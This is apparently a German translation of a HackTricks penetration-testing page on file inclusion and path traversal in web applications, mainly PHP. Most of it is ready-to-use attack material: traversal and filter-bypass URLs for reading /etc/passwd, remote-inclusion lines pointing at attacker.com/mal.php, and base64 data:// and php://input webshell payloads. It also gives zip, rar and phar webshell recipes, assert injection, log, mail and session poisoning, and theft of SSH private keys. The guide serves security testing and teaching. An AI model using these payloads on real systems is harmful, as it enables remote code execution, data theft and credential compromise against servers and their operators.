618 lines
36 KiB
Markdown

# Dateieinbindung/Pfad Traversierung
{{#include ../../banners/hacktricks-training.md}}
## Dateieinbindung
**Remote File Inclusion (RFI):** Die Datei wird von einem Remote-Server geladen (Am besten: Sie können den Code schreiben und der Server wird ihn ausführen). In PHP ist dies **standardmäßig deaktiviert** (**allow_url_include**).\
**Local File Inclusion (LFI):** Der Server lädt eine lokale Datei.
Die Schwachstelle tritt auf, wenn der Benutzer in irgendeiner Weise die Datei steuern kann, die vom Server geladen werden soll.
Anfällige **PHP-Funktionen**: require, require_once, include, include_once
Ein interessantes Tool, um diese Schwachstelle auszunutzen: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interessant - LFI2RCE-Dateien
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**Durch das Mischen mehrerer \*nix LFI-Listen und das Hinzufügen weiterer Pfade habe ich diese erstellt:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Versuchen Sie auch, `/` durch `\` zu ersetzen\
Versuchen Sie auch, `../../../../../` hinzuzufügen
Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu überprüfen, ob die Schwachstelle existiert), finden Sie [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Zusammenführung verschiedener Wortlisten:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Versuchen Sie auch, `/` durch `\` zu ersetzen\
Versuchen Sie auch, `C:/` zu entfernen und `../../../../../` hinzuzufügen
Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu überprüfen, ob die Schwachstelle existiert), finden Sie [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Überprüfen Sie die LFI-Liste von Linux.
## Grundlegende LFI und Umgehungen
Alle Beispiele sind für Local File Inclusion, können aber auch für Remote File Inclusion angewendet werden (Seite=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### Traversal-Sequenzen nicht rekursiv entfernt
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Umgehen Sie das Anhängen weiterer Zeichen am Ende der bereitgestellten Zeichenfolge (Umgehung von: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Das ist **seit PHP 5.4 gelöst**
### **Kodierung**
Sie könnten nicht-standardisierte Kodierungen wie doppelte URL-Kodierung (und andere) verwenden:
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Aus existierendem Ordner
Vielleicht überprüft das Backend den Ordnerpfad:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Erkundung von Dateisystemverzeichnissen auf einem Server
Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Überprüfen auf die Existenz spezifischer Ordner. Nachfolgend ist eine detaillierte Methode, um dies zu erreichen:
1. **Bestimmen der Verzeichnistiefe:** Ermitteln Sie die Tiefe Ihres aktuellen Verzeichnisses, indem Sie erfolgreich die Datei `/etc/passwd` abrufen (anwendbar, wenn der Server auf Linux basiert). Eine Beispiel-URL könnte wie folgt strukturiert sein, was auf eine Tiefe von drei hinweist:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Ordner prüfen:** Hängen Sie den Namen des verdächtigen Ordners (z.B. `private`) an die URL an und navigieren Sie dann zurück zu `/etc/passwd`. Die zusätzliche Verzeichnistiefe erfordert eine Erhöhung der Tiefe um eins:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpretieren der Ergebnisse:** Die Antwort des Servers zeigt an, ob der Ordner existiert:
- **Fehler / Keine Ausgabe:** Der Ordner `private` existiert wahrscheinlich nicht an dem angegebenen Ort.
- **Inhalt von `/etc/passwd`:** Das Vorhandensein des Ordners `private` ist bestätigt.
4. **Rekursive Erkundung:** Entdeckte Ordner können weiter auf Unterverzeichnisse oder Dateien mit derselben Technik oder traditionellen Methoden der Local File Inclusion (LFI) untersucht werden.
Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passen Sie die Payload entsprechend an. Zum Beispiel, um zu überprüfen, ob `/var/www/` ein `private` Verzeichnis enthält (vorausgesetzt, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwenden Sie:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen am Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad zu erstellen, der, sobald er durch die Sicherheitsmaßnahme verändert wird, weiterhin auf die gewünschte Datei verweist.
In PHP können verschiedene Darstellungen eines Dateipfades aufgrund der Natur des Dateisystems als gleichwertig betrachtet werden. Zum Beispiel:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` und `/etc/passwd/` werden alle als derselbe Pfad behandelt.
- Wenn die letzten 6 Zeichen `passwd` sind, ändert das Anhängen eines `/` (was es zu `passwd/` macht) die Ziel-Datei nicht.
- Ebenso, wenn `.php` an einen Dateipfad angehängt wird (wie `shellcode.php`), wird das Hinzufügen eines `/.` am Ende die aufgerufene Datei nicht verändern.
Die bereitgestellten Beispiele zeigen, wie man Path Truncation nutzen kann, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
```
```
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
In diesen Szenarien könnte die Anzahl der benötigten Traversierungen etwa 2027 betragen, aber diese Zahl kann je nach Konfiguration des Servers variieren.
- **Verwendung von Punktsegmenten und zusätzlichen Zeichen**: Traversierungssequenzen (`../`) kombiniert mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um das Dateisystem zu navigieren und effektiv angehängte Zeichenfolgen des Servers zu ignorieren.
- **Bestimmung der erforderlichen Anzahl von Traversierungen**: Durch Ausprobieren kann man die genaue Anzahl der benötigten `../`-Sequenzen finden, um zum Stammverzeichnis und dann zu `/etc/passwd` zu navigieren, wobei sichergestellt wird, dass angehängte Zeichenfolgen (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) intakt bleibt.
- **Beginn mit einem gefälschten Verzeichnis**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme oder zur Erfüllung der Anforderungen der Pfadverarbeitungslogik des Servers verwendet.
Bei der Anwendung von Techniken zur Pfadtrunkierung ist es entscheidend, das Verhalten der Pfadverarbeitung des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario könnte einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
**Diese Schwachstelle wurde in PHP 5.3 behoben.**
### **Tricks zum Umgehen von Filtern**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
In php ist dies standardmäßig deaktiviert, da **`allow_url_include`** **Aus** ist. Es muss **Ein** sein, damit es funktioniert, und in diesem Fall könnten Sie eine PHP-Datei von Ihrem Server einfügen und RCE erhalten:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Wenn aus irgendeinem Grund **`allow_url_include`** auf **On** gesetzt ist, aber PHP den Zugriff auf externe Webseiten **filtert**, [laut diesem Beitrag](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) könntest du beispielsweise das Datenprotokoll mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erhalten:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> Im vorherigen Code wurde das finale `+.txt` hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die mit `.txt` endete, sodass die Zeichenkette damit endet und nach der b64-Dekodierung dieser Teil nur Müll zurückgibt und der echte PHP-Code eingeschlossen (und somit ausgeführt) wird.
Ein weiteres Beispiel **ohne Verwendung des `php://` Protokolls** wäre:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python Root element
In Python in a code like this one:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Wenn der Benutzer einen **absoluten Pfad** zu **`file_name`** übergibt, wird der **vorherige Pfad einfach entfernt**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Es ist das beabsichtigte Verhalten gemäß [den Dokumenten](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen erfolgt ab der absoluten Pfadkomponente.
## Java Verzeichnisse auflisten
Es scheint, dass wenn Sie eine Path Traversal in Java haben und Sie **nach einem Verzeichnis** anstelle einer Datei fragen, eine **Auflistung des Verzeichnisses zurückgegeben wird**. Dies wird in anderen Sprachen (soweit ich weiß) nicht passieren.
## Top 25 Parameter
Hier ist eine Liste der 25 wichtigsten Parameter, die anfällig für lokale Datei-Inclusion (LFI) Schwachstellen sein könnten (von [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```
## LFI / RFI mit PHP-Wrappers & Protokollen
### php://filter
PHP-Filter ermöglichen grundlegende **Änderungsoperationen an den Daten**, bevor sie gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:
- [String-Filter](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Entfernt Tags aus den Daten (alles zwischen den Zeichen "<" und ">")
- Beachten Sie, dass dieser Filter in den modernen Versionen von PHP verschwunden ist
- [Konvertierungsfilter](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Transformiert in eine andere Kodierung (`convert.iconv.<input_enc>.<output_enc>`). Um die **Liste aller unterstützten Kodierungen** zu erhalten, führen Sie in der Konsole aus: `iconv -l`
> [!WARNING]
> Durch den Missbrauch des `convert.iconv.*` Konvertierungsfilters können Sie **willkürlichen Text generieren**, was nützlich sein könnte, um willkürlichen Text zu schreiben oder eine Funktion wie include zu verwenden, um willkürlichen Text zu verarbeiten. Für weitere Informationen siehe [**LFI2RCE über PHP-Filter**](lfi2rce-via-php-filters.md).
- [Kompressionsfilter](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Komprimiert den Inhalt (nützlich, wenn viele Informationen exfiltriert werden)
- `zlib.inflate`: Dekomprimiert die Daten
- [Verschlüsselungsfilter](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Veraltet
- `mdecrypt.*` : Veraltet
- Andere Filter
- Wenn Sie in PHP `var_dump(stream_get_filters());` ausführen, können Sie ein paar **unerwartete Filter** finden:
- `consumed`
- `dechunk`: Kehrt die HTTP-Chunked-Kodierung um
- `convert.*`
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> Der Teil "php://filter" ist nicht groß-/kleinschreibungsempfindlich
### Verwendung von php-Filtern als Oracle zum Lesen beliebiger Dateien
[**In diesem Beitrag**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer **booleschen Exfiltration der Datei (Zeichen für Zeichen) unter Verwendung von php-Filtern** als Oracle. Dies liegt daran, dass php-Filter verwendet werden können, um einen Text groß genug zu machen, damit php eine Ausnahme auslöst.
Im ursprünglichen Beitrag finden Sie eine detaillierte Erklärung der Technik, aber hier ist eine kurze Zusammenfassung:
- Verwenden Sie den Codec **`UCS-4LE`**, um das führende Zeichen des Textes am Anfang zu belassen und die Größe des Strings exponentiell zu erhöhen.
- Dies wird verwendet, um einen **so großen Text zu generieren, wenn der Anfangsbuchstabe korrekt erraten wird**, dass php einen **Fehler** auslöst.
- Der **dechunk**-Filter wird **alles entfernen, wenn das erste Zeichen kein Hexadezimalzeichen ist**, sodass wir wissen können, ob das erste Zeichen hexadezimal ist.
- Dies, kombiniert mit dem vorherigen (und anderen Filtern, abhängig vom erratenen Buchstaben), ermöglicht es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, um ihn nicht mehr als hexadezimales Zeichen zu betrachten. Denn wenn es hexadezimal ist, wird dechunk es nicht löschen und die anfängliche Bombe wird php einen Fehler auslösen.
- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein `a` ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe kein hexadezimales Zeichen mehr, daher wird dechunk es nicht löschen und der php-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert.
- Durch die Verwendung anderer Transformationen wie **rot13** am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu exfiltrieren (und andere Codecs können verwendet werden, um andere Buchstaben in den Hex-Bereich zu verschieben).
- Wenn das Anfangszeichen eine Zahl ist, muss es base64-kodiert werden, und die ersten 2 Buchstaben müssen geleakt werden, um die Zahl zu exfiltrieren.
- Das endgültige Problem besteht darin, **wie man mehr als den Anfangsbuchstaben exfiltriert**. Durch die Verwendung von Ordnungsfilter wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und an erster Stelle andere Buchstaben des Textes zu erhalten.
- Und um **weitere Daten** zu erhalten, besteht die Idee darin, **2 Bytes Junk-Daten am Anfang zu generieren** mit **convert.iconv.UTF16.UTF16**, **UCS-4LE** anzuwenden, um es **mit den nächsten 2 Bytes zu pivotieren**, und **die Daten bis zu den Junk-Daten zu löschen** (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen.
Im Beitrag wurde auch ein Tool zur automatischen Durchführung dieser Technik geleakt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Dieser Wrapper ermöglicht den Zugriff auf Dateideskriptoren, die der Prozess geöffnet hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrieren:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Sie können auch **php://stdin, php://stdout und php://stderr** verwenden, um auf die **Dateideskriptoren 0, 1 und 2** zuzugreifen (nicht sicher, wie dies in einem Angriff nützlich sein könnte).
### zip:// und rar://
Laden Sie eine Zip- oder Rar-Datei mit einer PHPShell darin hoch und greifen Sie darauf zu.\
Um das rar-Protokoll missbrauchen zu können, **muss es speziell aktiviert werden**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Beachten Sie, dass dieses Protokoll durch die PHP-Konfigurationen **`allow_url_open`** und **`allow_url_include`** eingeschränkt ist.
### expect://
Expect muss aktiviert sein. Sie können Code mit folgendem ausführen:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Geben Sie Ihre Payload in den POST-Parametern an:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
Eine `.phar`-Datei kann verwendet werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie `include` zum Laden von Dateien nutzt. Der folgende PHP-Codeausschnitt zeigt die Erstellung einer `.phar`-Datei:
```php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Um die `.phar`-Datei zu kompilieren, sollte der folgende Befehl ausgeführt werden:
```bash
php --define phar.readonly=0 create_path.php
```
Bei der Ausführung wird eine Datei namens `test.phar` erstellt, die potenziell zur Ausnutzung von Local File Inclusion (LFI) Schwachstellen verwendet werden könnte.
In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführung des PHP-Codes innerhalb dieser durch Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` durchführt, könnte versucht werden, eine Deserialisierungsanfälligkeit auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des `phar`-Protokolls verbunden.
Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungsanfälligkeiten im Kontext von `.phar`-Dateien, siehe das unten verlinkte Dokument:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
{{#ref}}
phar-deserialization.md
{{#endref}}
### CVE-2024-2961
Es war möglich, **jede beliebige Datei, die von PHP gelesen wird und PHP-Filter unterstützt**, auszunutzen, um eine RCE zu erhalten. Die detaillierte Beschreibung kann [**in diesem Beitrag gefunden werden**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Sehr kurze Zusammenfassung: ein **3-Byte-Überlauf** im PHP-Heap wurde ausgenutzt, um **die Kette freier Blöcke** einer bestimmten Größe zu **ändern**, um **alles an jede Adresse zu schreiben**, sodass ein Hook hinzugefügt wurde, um **`system`** aufzurufen.\
Es war möglich, Blöcke spezifischer Größen auszuwählen, indem mehr PHP-Filter missbraucht wurden.
### Weitere Protokolle
Überprüfen Sie weitere mögliche [**Protokolle, die hier einbezogen werden können**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory und php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — In den Speicher oder in eine temporäre Datei schreiben (nicht sicher, wie dies bei einem Datei-Inclusion-Angriff nützlich sein kann)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Zugriff auf das lokale Dateisystem
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Zugriff auf HTTP(s)-URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Zugriff auf FTP(s)-URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompressionsströme
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pfadnamen finden, die dem Muster entsprechen (gibt nichts Druckbares zurück, also hier nicht wirklich nützlich)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio-Streams (nicht nützlich, um beliebige Dateien zu lesen)
## LFI über PHPs 'assert'
Die Risiken von Local File Inclusion (LFI) in PHP sind besonders hoch, wenn es um die Funktion 'assert' geht, die Code innerhalb von Strings ausführen kann. Dies ist besonders problematisch, wenn Eingaben mit Verzeichnis-Traversierungszeichen wie ".." überprüft, aber nicht ordnungsgemäß bereinigt werden.
Zum Beispiel könnte PHP-Code so gestaltet sein, dass er Verzeichnis-Traversierung verhindert:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Während dies darauf abzielt, Traversierung zu stoppen, schafft es unbeabsichtigt einen Vektor für Code-Injektion. Um dies auszunutzen, um den Inhalt von Dateien zu lesen, könnte ein Angreifer Folgendes verwenden:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Ebenso könnte man zur Ausführung beliebiger Systembefehle Folgendes verwenden:
```plaintext
' and die(system("id")) or '
```
Es ist wichtig, diese **Payloads URL-zu kodieren**.
## PHP Blind Path Traversal
> [!WARNING]
> Diese Technik ist relevant in Fällen, in denen Sie den **Dateipfad** einer **PHP-Funktion**, die **auf eine Datei zugreift**, **steuern**, aber den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von **`file()`**) und der Inhalt nicht angezeigt wird.
In [**diesem unglaublichen Beitrag**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blinder Pfad-Traversal über PHP-Filter missbraucht werden kann, um den **Inhalt einer Datei über ein Fehlerorakel zu exfiltrieren**.
Zusammenfassend verwendet die Technik die **"UCS-4LE"-Kodierung**, um den Inhalt einer Datei so **groß** zu machen, dass die **PHP-Funktion**, die die Datei öffnet, einen **Fehler** auslöst.
Dann wird der Filter **`dechunk`** verwendet, um das erste Zeichen zu leaken, zusammen mit anderen wie **base64** oder **rot13**, und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** verwendet, um **andere Zeichen am Anfang zu platzieren und sie zu leaken**.
**Funktionen, die anfällig sein könnten**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (nur Ziel nur lesend mit diesem)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Für technische Details siehe den genannten Beitrag!
## LFI2RCE
### Remote File Inclusion
Wie zuvor erklärt, [**folgen Sie diesem Link**](#remote-file-inclusion).
### Über Apache/Nginx-Logdatei
Wenn der Apache- oder Nginx-Server **anfällig für LFI** ist, könnten Sie versuchen, auf **`/var/log/apache2/access.log` oder `/var/log/nginx/access.log`** zuzugreifen, indem Sie im **User-Agent** oder in einem **GET-Parameter** eine PHP-Shell wie **`<?php system($_GET['c']); ?>`** setzen und diese Datei einfügen.
> [!WARNING]
> Beachten Sie, dass **wenn Sie doppelte Anführungszeichen** für die Shell anstelle von **einfachen Anführungszeichen** verwenden, die doppelten Anführungszeichen für die Zeichenfolge "_**quote;**_" geändert werden, **PHP einen Fehler auslösen wird** und **nichts anderes ausgeführt wird**.
>
> Stellen Sie außerdem sicher, dass Sie die **Payload korrekt schreiben**, da PHP jedes Mal einen Fehler ausgibt, wenn es versucht, die Logdatei zu laden, und Sie keine zweite Gelegenheit haben werden.
Dies könnte auch in anderen Logs durchgeführt werden, aber **seien Sie vorsichtig**, der Code in den Logs könnte URL-kodiert sein und dies könnte die Shell zerstören. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Logs dekodiert. Die PHPShell könnte in diesen Header eingefügt werden.\
Andere mögliche Log-Pfade:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```
Fuzzing-Wortliste: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Via E-Mail
**Senden Sie eine E-Mail** an ein internes Konto (user@localhost), die Ihre PHP-Nutzlast wie `<?php echo system($_REQUEST["cmd"]); ?>` enthält, und versuchen Sie, die E-Mail des Benutzers mit einem Pfad wie **`/var/mail/<USERNAME>`** oder **`/var/spool/mail/<USERNAME>`** einzuschließen.
### Via /proc/\*/fd/\*
1. Laden Sie viele Shells hoch (zum Beispiel: 100)
2. Schließen Sie [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) ein, wobei $PID = PID des Prozesses (kann brute-forced werden) und $FD der Dateideskriptor (kann ebenfalls brute-forced werden).
### Via /proc/self/environ
Wie eine Protokolldatei, senden Sie die Nutzlast im User-Agent, sie wird in der Datei /proc/self/environ reflektiert.
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
Wenn Sie eine Datei hochladen können, injizieren Sie einfach die Shell-Nutzlast darin (z.B.: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Um die Datei lesbar zu halten, ist es am besten, in die Metadaten der Bilder/doc/pdf zu injizieren.
### Über ZIP-Datei-Upload
Laden Sie eine ZIP-Datei hoch, die eine komprimierte PHP-Shell enthält, und greifen Sie zu:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP-Sitzungen
Überprüfen Sie, ob die Website PHP-Sitzungen (PHPSESSID) verwendet.
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP werden diese Sitzungen in _/var/lib/php5/sess\\_\[PHPSESSID]\_ Dateien gespeichert.
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Setze das Cookie auf `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Verwenden Sie die LFI, um die PHP-Sitzungsdatei einzuschließen.
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
Wenn ssh aktiv ist, überprüfen Sie, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuchen Sie, auf **\<HOME>/.ssh/id_rsa** zuzugreifen.
### **Via** **vsftpd** _**logs**_
Die Protokolle für den FTP-Server vsftpd befinden sich in _**/var/log/vsftpd.log**_. In dem Szenario, in dem eine Local File Inclusion (LFI) Schwachstelle vorhanden ist und der Zugriff auf einen exponierten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden:
1. Injizieren Sie eine PHP-Nutzlast in das Benutzernamensfeld während des Anmeldevorgangs.
